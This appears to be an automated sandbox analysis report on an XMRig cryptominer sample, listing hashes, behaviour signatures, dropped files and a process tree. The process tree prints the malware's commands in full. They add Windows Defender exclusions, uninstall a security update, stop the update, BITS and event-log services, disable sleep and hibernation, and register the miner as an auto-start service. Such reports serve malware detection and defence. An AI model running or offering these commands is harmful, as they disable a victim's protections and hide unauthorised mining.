Analysis

  • max time kernel
    149s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    19-11-2024 01:45

General

  • Target

    a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc.exe

  • Size

    2.5MB

  • MD5

    c9a04bf748d1ee29a43ac3f0ddace478

  • SHA1

    891bd4e634a9c5fec1a3de80bff55c665236b58d

  • SHA256

    a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc

  • SHA512

    e17edb74f5cb4d8aabb4c775ec25a271f201da3adcb03541b1919526c0939694a768affc21c3066327e57c13bc9bb481074e51e4e78867df847b26f063b4c115

  • SSDEEP

    49152:b+p9UJkdNaeuRgsJ9pddphet67LGZvTuD/jhLD/6dUJBrb9IqepaBK:b+QJkwgsLDdpg5ZqrhLDSdUJBrRI1

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 14 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc.exe
    "C:\Users\Admin\AppData\Local\Temp\a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2732
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2776
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:2652
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:1680
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2580
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:2252
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:2532
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:484
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1136
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:572
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1432
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1572
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe delete "RLNALEWN"
      2⤵
      • Launches sc.exe
      PID:1424
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe create "RLNALEWN" binpath= "C:\ProgramData\htsdqitpnkda\zrgqfbcavrkx.exe" start= "auto"
      2⤵
      • Launches sc.exe
      PID:2148
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop eventlog
      2⤵
      • Launches sc.exe
      PID:1600
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe start "RLNALEWN"
      2⤵
      • Launches sc.exe
      PID:2888
  • C:\ProgramData\htsdqitpnkda\zrgqfbcavrkx.exe
    C:\ProgramData\htsdqitpnkda\zrgqfbcavrkx.exe
    1⤵
    • Drops file in Drivers directory
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2784
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
        • Drops file in Windows directory
        PID:3036
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop UsoSvc
      2⤵
      • Launches sc.exe
      PID:2824
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop WaaSMedicSvc
      2⤵
      • Launches sc.exe
      PID:2924
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop wuauserv
      2⤵
      • Launches sc.exe
      PID:1748
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop bits
      2⤵
      • Launches sc.exe
      PID:1932
    • C:\Windows\system32\sc.exe
      C:\Windows\system32\sc.exe stop dosvc
      2⤵
      • Launches sc.exe
      PID:1760
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1940
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2296
    • C:\Windows\system32\powercfg.exe
      C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
      2⤵
      • Power Settings
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Windows\system32\conhost.exe
      C:\Windows\system32\conhost.exe
      2⤵
        PID:2976
      • C:\Windows\system32\svchost.exe
        svchost.exe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2632

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Windows\system32\drivers\etc\hosts

      Filesize

      1007B

      MD5

      3a9662312614b856b548c94bc410cd23

      SHA1

      e008df0cd134359e2ae897975f5a258cdda67cef

      SHA256

      d47944cc0756d7b558fd2ee5cc0e1f8aeb195c22b5fa40c912130d1c36958395

      SHA512

      435a8555c0c90668baaf10c6c9e016b651bb14b1f0fe0427dade063d7de65621fd1bbb75e667276e5ba8049e30d4f018b86b5267df0b7b731c1cc314eaede2ed

    • \ProgramData\htsdqitpnkda\zrgqfbcavrkx.exe

      Filesize

      2.5MB

      MD5

      c9a04bf748d1ee29a43ac3f0ddace478

      SHA1

      891bd4e634a9c5fec1a3de80bff55c665236b58d

      SHA256

      a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc

      SHA512

      e17edb74f5cb4d8aabb4c775ec25a271f201da3adcb03541b1919526c0939694a768affc21c3066327e57c13bc9bb481074e51e4e78867df847b26f063b4c115

    • memory/2516-19-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

      Filesize

      32KB

    • memory/2516-18-0x0000000019E40000-0x000000001A122000-memory.dmp

      Filesize

      2.9MB

    • memory/2632-40-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-44-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-30-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-31-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-36-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-42-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-39-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-41-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-45-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-32-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-29-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-35-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-37-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2632-38-0x0000000000400000-0x0000000000420000-memory.dmp

      Filesize

      128KB

    • memory/2632-43-0x0000000140000000-0x0000000140848000-memory.dmp

      Filesize

      8.3MB

    • memory/2776-12-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-10-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-5-0x000000001B590000-0x000000001B872000-memory.dmp

      Filesize

      2.9MB

    • memory/2776-7-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-6-0x0000000001C50000-0x0000000001C58000-memory.dmp

      Filesize

      32KB

    • memory/2776-4-0x000007FEF62FE000-0x000007FEF62FF000-memory.dmp

      Filesize

      4KB

    • memory/2776-9-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-8-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2776-11-0x000007FEF6040000-0x000007FEF69DD000-memory.dmp

      Filesize

      9.6MB

    • memory/2976-26-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2976-33-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2976-23-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2976-22-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2976-25-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB

    • memory/2976-24-0x0000000140000000-0x000000014000E000-memory.dmp

      Filesize

      56KB